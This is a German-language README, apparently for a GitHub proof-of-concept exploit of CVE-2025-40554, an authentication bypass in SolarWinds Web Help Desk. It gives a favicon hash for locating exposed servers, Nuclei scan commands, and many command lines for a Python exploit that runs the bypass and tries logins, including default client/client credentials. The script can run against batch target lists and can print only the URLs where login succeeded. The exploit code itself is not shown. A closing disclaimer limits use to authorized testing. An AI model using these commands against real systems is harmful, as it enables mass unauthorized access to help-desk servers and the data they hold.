imbas007/auth-bypass-cve-2025-40554Proof-of-concept-Exploit für CVE-2025-40554, eine Authentifizierungsumgehung in SolarWinds Web Help Desk. Enthält Nuclei-Vorlage und Python-Exploit für Einzel- oder Batch-Zieltest mit optionalem Anmeldedaten-Login.
http.favicon.hash:"1895809524"
nuclei -u https://TARGET:8443 -t CVE-2025-40554.yaml
nuclei -l list_target.txt -t CVE-2025-40554.yaml
pip install -r requirements.txt
Einzelnes Ziel (Bypass + Login, Standard client/client):
python3 exploit_auth_bypass.py -t https://TARGET:8443
Einzelnes Ziel mit benutzerdefinierten Anmeldedaten:
python3 exploit_auth_bypass.py -t https://TARGET:8443 -u myuser -p mypass
Einzelnes Ziel, nur Bypass (kein Login):
python3 exploit_auth_bypass.py -t https://TARGET:8443 --no-login
Zielliste (speichert nur verwundbare + Login):
python3 exploit_auth_bypass.py -l result_all.txt
python3 exploit_auth_bypass.py -l targets.txt -o my_login_ok.txt
Zielliste mit benutzerdefinierten Anmeldedaten:
python3 exploit_auth_bypass.py -l targets.txt -u admin -p secret
Quiet-Modus (nur URLs ausgeben, bei denen Login erfolgreich):
python3 exploit_auth_bypass.py -l result_all.txt -q
Dieses PoC dient nur autorisierten Sicherheitsforschungs- und Testzwecken. Nicht autorisierter Zugriff auf Computersysteme ist illegal. Die Autoren übernehmen keine Verantwortung für Missbrauch.